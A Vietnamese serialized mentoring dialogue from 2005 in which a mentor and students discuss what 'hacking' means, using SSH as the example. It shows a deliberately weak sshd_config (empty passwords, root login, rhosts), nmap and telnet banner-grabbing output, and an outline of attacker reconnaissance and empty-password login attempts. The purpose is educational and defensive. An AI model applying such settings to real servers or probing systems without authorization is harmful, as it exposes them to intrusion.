"Hì hì, có gì đâu mà 'khiếp vía' em? 'đặt vấn đề' là một cách tóm tắt một vấn đề mình cần giải quyết. Phải nắm rõ vấn đề trước khi nghĩ đến giải pháp để giải quyết vấn đề. Nên nhớ, there is no solution for unknown problem. Anh thấy thế này: gói ssh có binaries, có libraries, có configuration files, có init script. Binaries là để khởi tạo chương trình, tuy nhiên, thiếu thư viện, thiếu hồ sơ cấu hình thì dịch vụ không thể hình thành được. Còn init script là một phương tiện để khởi tạo dịch vụ theo đúng trình tự 'run level' trên hệ thống, nó cũng là phương tiện để tắt bỏ dịch vụ đúng quy cách. Vậy, với tư cách của một người dùng, một admin (và không phải là một lập trình viên), yếu tố nào quan trọng nhất quyết định tính năng hoạt động của ssh?"
"docco" đáp:
"Dạ em nghĩ hồ sơ cấu hình là yếu tố quan trọng nhất quyết định tính năng hoạt động của ssh. Phải ý anh hồ sơ cấu hình là tập tin không anh? Bọn em bên này toàn là dùng thuật ngữ 'tập tin' không à."
Tôi cười, đáp:
"Chính xác! 'tập tin' là yếu tố quan trọng nhất quyết định tính năng hoạt động của ssh. Mình dùng thuật ngữ 'tập tin' đi, mặc dù anh không hoàn toàn đồng ý 'configuration file' được dịch là 'tập tin cấu hình'. Tuy nhiên đây là chuyện khác, nếu có dịp anh em mình 'cãi' chơi cho vui. Vậy, em đã thử 'hack' tập tin cấu hình chưa?"
Cả hai "cuti" và "docco" cùng sửng sốt hỏi lại:
"Hack tập tin cấu hình?"
"Hack tập tin cấu hình?"
"cuti" hỏi thêm:
"Tập tin cấu hình có gì để hack đâu anh?"
Tôi cười phá lên rồi thong thả trả lời:
"Sao không 'hack' được em? Em hỏi thế này chứng tỏ em chưa hoàn toàn 'đả thông' khái niệm 'hack' mà anh em mình đã nhắc tới, nhắc lui nhiều lần. Bất cứ một hành động nào làm thay đổi thái độ hoạt động của hệ thống đều là hack cả. Em cứ bị ám mãi 'hack' == 'thâm nhập'. Khi em dùng một gói rpm có sẵn tập tin cấu hình, có sẵn binaries, libraries... để cài trên máy chủ, hành động này có thể được xem là cài đặt. Ở mức độ cực đoan, nếu người quản lý máy chủ (không phải em) không muốn cài ssh nhưng bằng cách gì đó em lại cài ssh trên máy thì đây cũng là hành động hack. Bởi vì em đã thay đổi thái độ làm việc của máy chủ. Nếu em là người quản lý máy chủ và quyết định cài gói rpm của ssh, không điều chỉnh bất cứ thứ gì và chỉ khởi tạo dịch vụ ssh thì đây là cài đặt. Ngay khi em dùng vi để mở cái sshd_config để táy máy và 'save' nó, em đã thực hiện việc 'hack'. Nếu em 'hack' dở quá, ssh không chạy nữa thì cũng là 'hack' (nhưng dở). Nếu em 'hack' thiếu cẩn thận và làm cho ssh không còn bảo mật nữa thì cũng là 'hack' (nhưng không cẩn thận). Anh hy vọng giải thích như thế này tạm để em hiểu hơn thế nào là 'hack' "
"cuti" rên rỉ:
"Ôi trời. Chỉ thế thôi sao anh? Vậy là hack hả? . Thôi rồi, mọi thứ sụp đổ."
Đến lúc này "docco" Duy vẫn chưa lên tiếng. Có lẽ cu cậu đang ngẫm nghĩ gì đây nên tôi trả lời tiếp:
"Sao lại 'chỉ thế thôi' em? Những ví dụ anh đưa ra ở trên là một trong những ví dụ thuộc dạng 'hack'. Tất nhiên là 'hack' không 'chỉ là thế thôi' . Này, mình thử đi sâu hơn một tí là em sẽ thấy rõ hơn. Đồng ý không?"
"docco" Duy cất tiếng:
"Thú thật em cũng bị hụt hẫng bởi mấy cái ví dụ của anh. Có lẽ trước giờ em bị tẩy não bởi những mẩu chuyện màu mè hoa lá cành, những huyền thoại về cái gọi là 'hack' nên cứ ngỡ rằng 'hack' là những hành động nào đó cao siêu và mầu nhiệm để phá vỡ một hệ thống làm việc. Ngờ đâu anh lại dùng vài ví dụ hết sức đơn giản để minh hoạ 'hack'. Có lẽ em cần phải điều chỉnh lại một số quan niệm mà em đã 'quen' từ trước đến giờ."
Tôi trầm ngâm khi đọc đoạn đối thoại của "docco" Duy và tìm cách trả lời cu cậu sao cho đầy đủ, súc tích. Sau đó, tôi nói:
"Thế này. Em nghĩ rằng những ví dụ anh đưa ra ở trên là đơn giản thật sao? Anh thì không nghĩ thế. Anh cho rằng chúng phức tạp như bao nhiêu chuyện phức tạp khác. Việc 'hack' để phá vỡ một hệ thống làm việc chỉ là 'một mặt của vấn đề'; 'hack' còn có mục đích chống lại hành vi phá vỡ nữa. Để anh chứng minh cho mà xem.
1. nói về chuyện điều chỉnh sshd_config, hãy xem thử cấu hình chung chung như sau:
Code:
Port 22
ListenAddress 203.210.205.200
HostKey /etc/ssh/ssh_host_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_rsa_key
ServerKeyBits 768
LoginGraceTime 60
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
IgnoreUserKnownHosts yes
StrictModes no
X11Forwarding yes
PrintMotd yes
KeepAlive yes
SyslogFacility AUTH
LogLevel INFO
RhostsAuthentication yes
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
Subsystem sftp /usr/libexec/openssh/sftp-server
Nếu không hiểu tường tận từng giá trị, làm sao em có thể biết được giá trị nào có nguy cơ 'làm giảm' độ bảo mật? Vậy chỉnh lý thế nào để giảm những 'nguy cơ' có thể xảy ra? Làm sao em xác định được giá trị nào là thích hợp? Cách bảo đảm nhất (và cũng đau khổ nhất) là điều chỉnh từng giá trị, khởi động lại sshd rồi thử nghiệm. Đây là công việc rất mất thời gian và cần sự kiên nhẫn và tất nhiên là không đơn giản tí nào. Tập tin này ở dạng mặc định thường có các giá trị cấu hình căn bản nhất và thoải mái nhất nhằm mục đích 'dùng được liền' cho mọi người. Nếu em không điều chỉnh lại thì hoàn toàn không mang tính chất gì gọi là 'bảo mật' cả. Cũng chính vì thế mà những kẻ muốn tấn công thường dựa vào những điểm 'thoải mái' trong tập tin cấu hình mặc định mà khai thác.
2. bởi vì em cài đặt nó từ một rpm và mọi thứ đều được sắp xếp đâu vào đó, em chỉ chạy /etc/rc.d/sshd start là dịch vụ này sẵn sàng phục vụ --> xem có vẻ đơn giản. Nếu như em không muốn cài từ rpm mà muốn biên dịch trọn bộ từ nguồn vì một lý do gì đó (vì rpm chưa kịp cập nhật hay vì em muốn điều chỉnh cái gì đó trong mã nguồn). Liệu nó có đơn giản không? Câu trả lời là không. Bởi vì em phải điều chỉnh mọi thứ cho thích hợp, phải tạo ra init script nếu chưa có sẵn, phải điều chỉnh lại LD_LIBRARY_PATH để các binaries biết dùng thư viện nào cho đúng, em phải điều chỉnh là PATH, em phải bảo đảm vấn đề dependency hoàn toàn đâu vào đó. Sau đó em phải điều chỉnh lại sshd_config.
Anh không tin là trọn bộ thao tác đơn giản và dễ dàng tí nào."
"cuti" dường như cũng có cùng bức xúc như "docco" nên hưởng ứng thêm:
"Quả là phức tạp nhưng em vẫn thắc mắc là việc điều chỉnh sshd_config nằm ở giới hạn điều chỉnh chớ sao gọi là hack được anh?"
Tôi cười, đáp:
"Ừa, em nghĩ đó là điều chỉnh cũng hợp lý nhưng theo cách nhìn của anh, nếu em thay đổi cấu hình mặc định của một dịch vụ để thay đổi thái độ làm việc của nó thì đó là 'hack'. Kiện toàn bảo mật cho sshd (cũng như các dịch vụ khác) không chỉ dừng lại ở chính tập tin cấu hình của nó mà còn phải xét duyệt, điều chỉnh những thứ xung quanh nó. Ví dụ, em biên dịch lại ssh để áp đặt dùng pam (plugable authentication module) và sau đó điều chỉnh pam dành riêng cho ssh có thái độ cụ thể nào đó chẳng hạn. Những công việc này đều là 'hack'. Anh đơn cử một ví dụ rất đơn giản: anh điều chỉnh lại giá trị #VERSION của ssh trước khi biên dịch lại nó từ mã nguồn với mục đích dấu footprint, cái này hẳn nhiên là 'hack' rồi ."
Cả "cuti" và "docco" đều trầm ngâm hồi lâu. Sau đó "docco" lên tiếng:
"Bây giờ em mới thấy khái niệm quan trọng như thế nào. Khái niệm được hình thành một cách sai lạc và què quặc thì sẽ dẫn đến hàng loạt các sai lạc khác. Vẫn với chủ đề tập tin cấu hình sshd_config, anh có thể phân tích thêm theo phương diện tấn công được không anh?"
Tôi đáp:
"Được chớ em. Hãy thử 'đào xới' giá trị thứ nhất Port 22. Ai cũng biết đây là cổng chính thức của dịch vụ ssh. Nếu muốn táy máy, anh chỉ cần thử một dòng nmap đã đủ có thể xác định xem có dịch vụ ssh trên máy chủ hay không rồi:
Code:
[conmeo@home conmale]# /usr/local/bin/nmap -sT someserver.somedomain.com -p 22 -v
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-07-31 17:04 EST
Initiating Connect() Scan against someserver.somedomain.com (xx.xx.xx.xx) [1 port] at 17:04
Discovered open port 22/tcp on xx.xx.xx.xx
The Connect() Scan took 0.23s to scan 1 total ports.
Host someserver.somedomain.com (xx.xx.xx.xx) appears to be up ... good.
Interesting ports on someserver.somedomain.com (xx.xx.xx.xx):
PORT STATE SERVICE
22/tcp open SSH
Nmap finished: 1 IP address (1 host up) scanned in 1.464 seconds
Raw packets sent: 2 (68B) | Rcvd: 1 (46B)
Nếu cần, anh có thể thêm một thông số để xác định phiên bản của ssh:
Code:
[conmeo@home conmale]# /usr/local/bin/nmap -sT -sV someserver.somedomain.com -p 22 -v
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-07-31 17:03 EST
Initiating Connect() Scan against someserver.somedomain.com (xx.xx.xx.xx) [1 port] at 17:03
Discovered open port 64321/tcp on xx.xx.xx.xx
The Connect() Scan took 0.23s to scan 1 total ports.
Initiating service scan against 1 service on someserver.somedomain.com (xx.xx.xx.xx) at 17:03
The service scan took 0.47s to scan 1 service on 1 host.
Host someserver.somedomain.com (xx.xx.xx.xx) appears to be up ... good.
Interesting ports on someserver.somedomain.com (xx.xx.xx.xx):
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.5p1 (protocol 2.0)
Nmap finished: 1 IP address (1 host up) scanned in 2.481 seconds
Raw packets sent: 2 (68B) | Rcvd: 1 (46B)
Hoặc đơn giản hơn nữa:
Code:
$ telnet someserver.somedomain.com 22
Trying someserver.somedomain.com...
Connected to someserver.somedomain.com (xx.xx.xx.xx).
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
Từ những thông tin này, anh có thể hình thành một kế hoạch 'đào xới' ssh của em. Nếu như em cần dịch vụ ssh cho chính em (và một số giới hạn người dùng nào đó), tại sao em không đổi cổng 22 thành cổng gì đó nằm trên dãy high ports: 22334 chẳng hạn? Nếu em xoá luôn footprint của ssh thì anh sẽ mất nhiều thời gian hơn để xác định xem có ssh đang lắng nghe hay không? Đôi khi anh bỏ cuộc vì mất thời gian quá . Nếu chỉ có cổng ssh mở ra trên toàn máy chủ và nếu anh phải thâm nhập máy chủ của em thì có một vài cách khai triển:
a. xem thử phiên bản này có thuộc một trong những bản bị lỗi hay không (đây là cách của đa số perpetrator).
b. nếu phiên bản này mới hoặc không thuộc diện "known vulnerability" thì mới tiếp tục dò dẫm những điểm sơ hở của cấu hình (đây là cách của những perpetrator cố tình thâm nhập khai triển).
c. tải mã nguồn của chính phiên bản đang được dùng trên mục tiêu về để 'soi' xem chúng có lỗi gì rồi hình thành phương pháp thâm nhập. Tất nhiên là chỉ có thể nếu có mã nguồn để tải (đây là cách của những 'hacker' thật sự chuyên chú và say mê).
d. nếu chính mã nguồn của ssh không có lỗi (hoặc không thể tìm ra lỗi), thì tìm lỗi của những thư viện hỗ trợ (ssl, zlib...) bởi vì chúng trực tiếp ảnh hưởng đến bảo mật của ssh (đây cũng là cách của những 'hacker' thật sự chuyên chú và say mê).
Nếu trên máy chủ của em còn nhiều 'tiềm năng' khác và ssh... 'khó ăn' quá thì không biết chừng, anh lơ đẹp ssh và chuyển sang điểm yếu khác. Cái này còn tuỳ vào mục đích thâm nhập và vai trò của người thâm nhập nữa. Nếu anh là 'ethical hacker' đang làm công tác bảo mật và muốn kiện toàn hệ thống thì anh phải cố exploit mọi điểm có thể tìm được. Nếu anh là 'professional hacker' thì anh tìm bất cứ điểm nào yếu nhất của hệ thống mà khai thác hoặc kết hợp những yếu tố 'yếu' nhất để khai thác để đạt mục đích nhanh chóng nhất. Nếu anh là 'amateur hacker' thì... "từ từ mà mần", lỗ này không được thì thử tiếp lỗ khác."
"cuti" reo lên:
"Ồ... nghe 'đã' thiệt! Anh nói thêm nữa đi."
"docco" thì cẩn thận hơn:
"Em thấy những điều này thật là lý thú. Em nghĩ rằng bọn em ngay lúc này thì bó tay với điểm c và d rồi đó. Bởi vì có đủ khả năng ngồi 'soi' code thì đúng là cao thủ rồi. Vậy, những giềng mối của "hai mặt vấn đề" trong điểm a và b là sao anh?"
"docco" quả là ranh mãnh . Tôi mỉm cười và nói tiếp:
"Rồi, 'hai mặt của vấn đề' trên điểm a và b thế này. Thử đơn cử một giá trị trong sshd_config là PermitEmptyPasswords yes chẳng hạn.
- nếu anh đóng vai trò là B (người thủ): và anh chọn PermitEmptyPasswords yes thì anh bị sút 'kẻ công' một điểm. Bảo mật không tha thứ cho thiếu sót, lại càng không tha thứ cho thiếu nghiên cứu và 'lờ' bất cứ chi tiết nào.
- nếu anh đóng vai trò là A (kẻ công): anh có thể enumerate ra danh sách user trên server bằng phương tiện nào khác và cứ đơn giản logon server của em bằng username mà không cần password. Thế nào anh cũng tìm ra được account không có password (nếu như em thiết kế thiếu cẩn thận). Sau khi login được rồi thì chuyện privilege escalation là một chuyện khác.
Vậy, với tư cách là B, làm sao anh biết giá trị PermitEmptyPasswords yes là nguy hiểm? Tất nhiên là anh phải nghiên cứu tài liệu cụ thể của ssh và thử nghiệm một cách tỉ mỉ và cẩn thận. Với tư cách là A, làm sao anh biết giá trị PermitEmptyPasswords yes có thể là cơ hội đạt kết quả? Tất nhiên anh cũng phải nghiên cứu tài liệu cụ thể của ssh thì mới biết được có cái 'màn' empty password ở đây. Nếu không thì việc gì anh bỏ thời gian ra để enumerate account rồi ngồi đó mà thử 'empty password'?
'Hai mặt vấn đề' ở đây quy tụ lại một điểm: cả A và B đều phải biết rõ ssh có những chức năng gì? có thể 'hở' ở những điểm nào? Kẻ công thì khai thác những điểm nào bị 'hở', người thủ thì lo bít những điểm có thể bị 'hở'. Nhìn từ hai phía, cả hai đều phải có kiến thức. Nên nhớ, những điều kẻ công A làm (mình bàn ở đây) chưa phải là 'hack' mà chỉ là kỹ thuật dò tìm và thâm nhập. Đừng lẫn lộn nó với 'hack'. Ở bước này, A chưa hề làm gì để thay đổi thái độ làm việc của hệ thống cả."
"cuti" thốt lên:
"Thật thú vị. Em cứ ngỡ những người thích thâm nhập có những công thức hay đồ nghề bí mật gì đó. Không ngờ sự thể đơn giản và dễ hiểu đến thế. Nhưng sao ssh lại cung cấp chọn lựa 'empty password' chuối quá vậy anh? Làm thế thì còn gì là bảo mật?"
"docco" xen vào:
"Thôi đi mày ơi, làm sao mà đơn giản? Nhờ ổng phân tích thì mới thấy đơn giản và dễ hiểu chớ thực tế thì trước mắt bọn mình phải 'xoi' qua cuốn sách nói về ssh để thử nghiệm từng giá trị trong tập tin cấu hình rồi đó."
"cuti" chống chế:
"Thì tao có nói gì gì đâu. Ý tao là sau khi được giải thích rồi mới thấy nó dễ hiểu. Mày thì lúc nào cũng giỏi bắt bẻ."
Tôi xen ngăn ngay trận khẩu chiến:
"Thôi, thôi hai trự. Sở dĩ thấy nó có vẻ đơn giản bởi vì nó có nguồn gốc, căn nguyên rõ ràng. Công thức thì anh nghĩ chẳng có công thức gì hết, chỉ có những bước khai triển dựa trên tình hình, thông tin lấy được và hoàn cảnh mà thôi. Cái này có thể xem là nguyên tắc chớ không thể xem là công thức. Còn công cụ thì chủ yếu là tự chế mà thôi, bởi vì mỗi hoàn cảnh, mỗi đòi hỏi cần một thứ công cụ khác nhau. Có những công cụ có sẵn và cực hay dành để dò tìm thông tin như nmap chẳng hạn. Có thể ứng dụng nó trong mọi hoàn cảnh vì lấy footprint là một bước hầu như không thể thiếu. Tuy nhiên, những thao tác để thử 'xâm nhập' thì quá nhiều và quá rộng cho nên cách hay nhất và cụ thể nhất là tự tạo cho mình công cụ.
Riêng chuyện ssh cho phép 'empty password' là chuối thì.... hèm... mình phải nhìn vấn đề một cách rộng hơn. Không riêng gì ssh mà dịch vụ nào cũng có hai mặt: tiện dụng và bảo mật. Một chương trình có nhiều chức năng, linh động trong cấu hình, cho phép lựa chọn thì lại dễ vướng vào chuyện 'yếu' bảo mật. Một chương trình muốn bảo mật thì lại giới hạn chức năng và lựa chọn. Bởi vậy, công tác của người làm bảo mật là tạo nên sự cân bằng giữa tiện dụng và bảo mật. Trong khi đó, vai trò của kẻ tấn công là tìm ra những điểm yếu của sự thiếu cân bằng giữa tiện dụng và bảo mật để thâm nhập."
"cuti" rú lên:
"Trời ơi. Nếu mình dành thời gian ngồi đó viết chương trình thì chừng nào cho xong anh?"
Tôi ngắt lời "cuti":
"Đó đó, em lại bị sa vào 'cõi' thiếu kiên nhẫn rồi. Anh ví dụ trường hợp SSH tiếp nhận "empty password" ở đây, em có thể dùng Perl hay ngay cả shell script để tự động hoá thao tác truy cập. Cách này đúng ra còn nhanh hơn là dò tìm xem có công cụ nào làm cho việc này. Anh nghĩ cùng lắm là một chục dòng code là xong. Muốn 'đao to búa lớn' hơn nữa thì thử dùng C hoặc một số ngôn ngữ khác. Không những nhanh hơn chuyện tìm kiếm công cụ, nó còn bảo đảm kết quả em muốn tìm bởi vì chính em viết ra."
"cuti" vẫn rên rỉ:
"Trời, cấu hình cho cái dịch vụ chưa nên dáng. Bây giờ lại thêm chuyện viết công cụ để 'thâm nhập' nó . Sao mà mênh mông quá vậy trời?"
"docco" thắc mắc:
"Em muốn hỏi thêm điểm này. Theo anh nói, những người dùng các công cụ có sẵn để tìm đường vào hiển nhiên là... mò. Mình viết script để tìm đường vào trong trường hợp 'empty password' ở đây em nghĩ cũng là... mò luôn. Vậy sao không dùng công cụ có sẵn để mò hở anh? Như vậy không dễ dàng hơn sao?"
Tôi cười đáp:
"Em thắc mắc một điểm rất lý thú đó Duy. Trường hợp 'mò' empty password ở đây cũng có thể xem là... mò. Tuy nhiên điểm khác biệt lớn lao là 'mò' ở đây là 'mò' có căn, còn 'mò' theo kiểu dùng một công cụ có sẵn và cứ 'phang' đại thì đó là 'mò'... mù . Nói một cách khác, 'mò' empty password ở đây là một hành động có chủ đích, nhắm vào một điểm rất cụ thể để đột phá sơ hở của cấu hình ssh. Như anh đã có lần đề cập, 'script kiddie' chỉ cần khởi động một công cụ có sẵn và nhắm mắt mà chạy, không cần biết công cụ này làm gì. Nếu không có kết quả gì hết thì 'kiddie' này... bế tắc. Trong khi đó, nếu em tự viết một công cụ cho một mục đích cụ thể nào đó, em biết chính xác chuyện gì xảy ra. Nếu em thử viết script để truy cập: thành công, nó cho kết quả; không thành công, không có kết quả gì cả. Ít nhất em có thể thu thập được ở đây là xác định được dịch vụ ssh này không cho (hoặc cho phép) empty password."
"docco" trả lời:
"Dạ, quả thật có khác nhau. Em nghĩ là em được đả thông chuyện này rồi đó, thật là đã. Vậy bọn em phải ngâm cứu thật kỹ cấu hình của mỗi dịch vụ rồi chắc phải nhờ anh 'chỉ điểm' thêm quá."
Tôi đáp:
"Ừa, để mình có thể bàn ở cấp độ 'công' hay 'thủ' thì phải thật sự nắm vững cấu hình của dịch vụ và biết rõ lý do tại sao mình quyết định như vậy. Anh phải đi rồi. Nếu muốn, tuần sau mình tiếp tục hả?"
"cuti" lém lỉnh:
"Dạ, nhất định tuần sau anh em mình sẽ có những chuyện lý thú hơn bởi vì sẽ đụng đến phần của em ."
Tôi đáp:
"Ừa, chưa biết sẽ 'lý thú' hơn hay 'đau đầu' hơn đó em. Em xem thử sendmail có thể bị 'thủng' ở đâu rồi mình bàn hả? Duy, em xem thử sau một tuần ngâm cứu em sẽ có những thắc mắc gì về SSH nha? Chào Duy, chào Hưng."
Tôi xếp laptop lại.
30/7/2005
<còn tiếp>
|
|
|
8. "Hai mặt" của vấn đề:
Trái hẳn với hai tuần lễ trước, vài tuần nay "cuti" liên tục 'dội' YIM và mail box của tôi với hàng loạt câu hỏi. Phần lớn là những câu hỏi thuộc dạng 'what'. Tôi cố gắn trả lời hầu hết các thắc mắc của "cuti" mặc dù vấn đề thời gian của tôi rất giới hạn. Có những e-mail hồi âm của tôi chỉ vỏn vẹn có một câu: cái này thuộc dạng 'what', em thử tìm hiểu xem. "cuti" tỏ vẻ khá bực dọc với những e-mail này của tôi. Tuy nhiên, tôi vẫn... phớt lờ và duy trì giới hạn những câu trả lời nhằm mục đích 'đẩy' "cuti" vào chỗ thật sự làm quen và hình thành kỹ năng tìm kiếm, tổng hợp và thu thập thông tin. Có lần tôi nhận một thông điệp của "cuti" trên YIM như thế này:
"Anh già ui, hình như càng học em thấy em càng ngu hay sao đó. Hu hu hu . Cứ mỗi điểm cần tìm hiểu lại nảy ra hàng sa số những điểm xung quanh. Em đọc sách muốn khùng luôn nhưng càng đào sâu, càng thấy mình ngu si đi. Hay là em bị 'tẩu hoả' thật sự rồi?"
Tôi thầm nghĩ, hiện tượng "cuti" đang đối chọi có lẽ do cu cậu cố dồn ép quá mà ra. Tôi gởi "cuti" một offline message:
"cuti ơi, trưa Chủ Nhật tuần này anh rảnh đó. Có muốn 'giải bày' thì 'bay' vô YIM hả?"
Hai ngày sau, tôi nhận được một e-mail từ "cuti" như sau:
"Anh già ơi, mấy ngày vừa qua em chả thèm động đến máy. Em xách xe đi chơi vòng vòng cho bớt căng thẳng. Chiều nay em nhớ đến việc anh yêu cầu lần trước là hình thành một 'bản tổng kết' những gì anh em mình thảo luận cho đến giai đoạn này. Tự nhiên trong quá trình hình thành 'bản tổng kết' em thấy rất nhiều sự việc trở nên rõ ràng. Đây, 'bảng tổng kết' em có thể rút tỉa được:
1. 'hack' là hành động điều chỉnh máy tính ở nhiều tầng khác nhau nhằm thay đổi thái độ làm việc của nó.
2. muốn 'hack' phải hiểu rõ mục tiêu mình sắp sửa 'hack' là gì.
3. 'hacker' là một 'user' rất thấu đáo môi trường làm việc của mình. 'hacker' không những nắm vững 'nút' bấm (hoặc lệnh) để làm gì mà còn biết rõ những gì xảy ra khi 'nút' được bấm (hoặc lệnh được chạy) và có thể tạo ra 'nút' để bấm (hoặc lệnh để chạy) để đáp ứng đòi hỏi cụ thể.
4. mọi vấn đề trong thế giới 'hack' đều có giềng mối của chúng. Nắm được những 'giềng mối' này mới có thể làm thay đổi được thái độ làm việc của hệ thống.
5. đọc đi đôi với 'hành'. Trước khi biết được 'why' phải biết được 'what'.
6. để có thể nắm được 'what' cần phải có kiên nhẫn và có hệ thống. Để có thể nắm được 'why' cần phải có khả năng phân tích và tổng hợp những điểm cốt lõi.
Anh xem thử những điểm em đưa ra còn thiếu sót gì không? Chủ Nhật này em sẽ online đợi anh đó nha.
Chúc anh một tuần làm việc vui vẻ.
cuti."
Nhận được mail của "cuti", tôi đọc phần tổng kết của cu cậu và thấy rằng "cuti" đã tổng kết khá đầy đủ các điểm cốt lõi mà bọn tôi đã trao đổi những lần trước đây. Đây là việc đáng mừng. Tuy nhiên, vận dụng thế nào vẫn còn là một con đường dài dằng dặc và đầy chông gai. Tôi hồi âm "cuti" bằng một e-mail ngắn gọn như sau:
"cuti thân mến, sáu điểm em đưa ra thật tuyệt. Tuy nhiên, anh nghĩ em vẫn còn sót một điểm cuối, điểm thứ bảy. Em thử nghĩ xem điểm này là điểm gì?
Hẹn gặp lại chiều Chủ Nhật khoảng 3 giờ.
Thân."
Chiều Chủ Nhật, đúng 3 giờ chiều tôi logon YIM và "cuti" đã ngồi chễm chệ chờ. Tôi gởi cho "cuti" một thông điệp để báo cho cu cậu là tôi đã online (vì tôi vẫn ở tình trạng invisible). "cuti" hồi đáp gần như ngay lập tức kèm theo là một lời mời tham gia một conference:
"Chào anh, mình mở một cái conference được hông anh?"
Tôi khá thắc mắc, "việc gì phải conference nhỉ? Có lẽ có ai đó muốn tham gia chat chăng?". Tuy vậy tôi vẫn tiếp nhận lời mời. Không ngoài dự đoán, khi tham gia conference này, tôi thấy có thêm hai nhân vật mới với nick name khá.... kiếm hiệp. Một người mang tên là 'docco' (độc cô) và một người mang tên là 'haothu' (hảo thủ). Tôi chào mọi người:
"Chào cuti, chào docco và haothu."
"cuti" nhanh nhảu:
"Dạ, đây là hai đứa bạn học chung với em, bọn em chơi thân với nhau lắm. Sau khi em đưa cho bọn nó xem bản sao cuộc nói chuyện của anh em mình, bọn nó khoái lắm nhưng giữa bọn em nổ ra một trận tranh cãi khá gay gắt là: bảo mật trước hay 'hack' trước?. Bọn nó cho rằng muốn bảo mật cho tốt thì phải biết hack trước. Còn em thì do bị 'tiêm nhiễm' anh nên cho rằng muốn hack giỏi thì phải biết bảo mật, biết bảo mật rồi thì mới biết hack. Bây giờ em muốn anh đứng ra phân giải dùm bọn em. Hy vọng anh không phiền vì em đã mời thêm hai ông tướng này vào nói chuyện mà không báo trước cho anh biết."
"docco" và "haothu" chào tôi sau khi "cuti" giới thiệu và giải bày sự thể. Tôi vui vẻ đáp:
"Không sao đâu em, có nhiều người nói chuyện thì càng vui chớ sao đâu? Mấy anh em mình nói chuyện một cách thoải mái, đừng cứng nhắc quá mà mất vui. docco', 'haothu' cũng học chung lớp với 'cuti' hả?"
"haothu" đáp:
"Dạ, em học cùng trường với 'cuti' đó anh. Em cũng biết anh lâu rồi nhưng em ngại, không dám liên lạc trực tiếp với anh. Kỳ này bọn em cãi nhau rôm rả, âu cũng là dịp tốt để em làm quen với anh."
"docco" thêm vào:
"Hì hì, chỉ có thằng khỉ 'cuti' này mới bạo gan add tên anh vào YIM của nó chớ em thì hông dám. Lỡ anh 'đì nai' thì quê chết. 'cuti' nói là anh dễ tính, vui vẻ lắm, bây giờ em mới thấy."
Tôi cười đáp:
"Hì hì, em mà thấy cái danh sách người trên YIM của anh thì em không té xỉu là dở, mặc dù anh rất ít vào YIM nhưng có nhiều người cứ 'add' và anh cứ 'accept'. Riết hồi anh chẳng còn biết ai là ai nữa. Chắc bữa nào phải dọn dẹp một lần."
"cuti" lên tiếng:
"Tụi mày thấy chưa? tao đã nói là ổng dễ tính, vui vẻ mà. Bọn em xưng mày tao búa xua, anh già 'dễ tính' chắc không phiền hả?"
Tôi đáp:
"Ừa, cứ thoải mái đi em. Còn chuyện bọn em cãi nhau như "cuti" nói hồi nãy, bọn em đã cãi những gì, lược sơ qua dùm anh tí coi? "
"docco" nhanh nhảu đáp:
"Dạ, em với thằng Khoa, ý quên, thằng 'haothu' có cùng quan điểm là muốn bảo mật cho giỏi thì phải biết hack trước. Em thấy có rất nhiều chuyên gia bảo mật nói một câu có ý đại khái là: muốn bảo mật tốt thì phải suy nghĩ như một hacker. Nghiệm tới, nghiệm lui em thấy quả là đúng nhưng thằng khỉ Hưng, ý quên, thằng 'cuti' thì khăng khăng cho rằng phải có kiến thức từ căn bản lên đến nâng cao, phải nắm rõ hệ thống mình cần bảo vệ thì mới kiện toàn chuyện bảo mật, từ đó mới nắm được 'hack' là gì. Anh nghĩ sao?"
"cuti" xen ngay vào:
"Thằng khỉ kia, ai biểu mày khai tên thiệt ra hết vậy trời? Hì hì, anh già đừng trách nha, trước giờ nói chuyện với anh, em chưa bao giờ tiết lộ tên thiệt của em, thằng khỉ Duy này khai hết. Chuyện bọn em tranh cãi chẳng đi tới đâu cả. Em tin rằng muốn 'hack' thì phải giỏi bảo mật trước. Vậy thôi."
"haothu" chêm vào:
"Em cũng đồng quan điểm với thằng Duy luôn đó anh."
Tôi cười, và đáp:
"Từ từ cái đã. Để anh hỏi cu Hưng một câu để đúc kết phần anh và nó trao đổi mấy lần trước đây đã nha? Vậy anh gọi 'cuti' là Hưng, 'haothu' là Khoa và 'docco' là Duy được không?"
"cuti" đáp lời ngay:
"À, ý anh muốn hỏi em điểm thứ bảy là gì đó phải không anh? Thật tình em đã đọc kỹ lại mấy đoạn anh em mình trao đổi nhưng em tìm không ra điểm nào có thể là điểm thứ bảy. Còn chuyện gọi bọn em bằng tên nào cũng được hết anh. Bọn em gọi nhau bằng tên thật quen rồi nên vào chat vẫn quen thói gọi tên thật."
Tôi đáp:
"Vậy tốt, thống nhất cách gọi như vậy đi. Còn điểm thứ bảy mà em tìm không ra là "4 đê" đó em: đều đặn và điều độ. Đây là điểm cực kỳ quan trọng bởi vì 'ăn' không giờ giấc, không điều độ thì thế nào cũng bội thực ."
"cuti" liếng thoắng:
"Ái chà, đây là điểm thứ bảy sao? Em không hề nghĩ đến nó, đừng nói chi là thấy nó quan trọng ngang hàng với những điểm kia. Em thấy hễ mình hứng lên thì ngồi táy máy bao nhiêu tiếng cũng được nhưng không hứng thì vô phương thôi anh."
Tôi vẫn kiên nhẫn trả lời:
"Không đâu em. Muốn tìm tòi lâu dài và có kết quả thì cần phải có kế hoạch hẳn hòi. Không thể dựa trên cái 'hứng' được. Nếu em may mắn, ngày nào cũng 'hứng' thì em có thể gặt hái vài điều. Lỡ may cả tháng em... mất 'hứng' thì coi như đi tong tháng ấy sao? Sự điều độ tạo cho não bộ của em một thứ 'phản xạ có điều kiện'. Đến giờ đó trong ngày, nó sẵn sàng làm việc và lúc ấy mới mang lại kết quả tốt được. Có thể lúc đầu khi chưa quen, em chưa thấy tác dụng đó. Tuy nhiên, sau một thời gian, em sẽ thấy sự đều đặn có tác dụng như thế nào."
"cuti" đáp:
"Quả thật em chưa hình dung được điểm này. Để em chiêm nghiệm thử xem. Bây giờ mấy anh em mình thử bàn chuyện 'hack trước hay bảo mật trước' nha anh?"
Tôi cười, đáp:
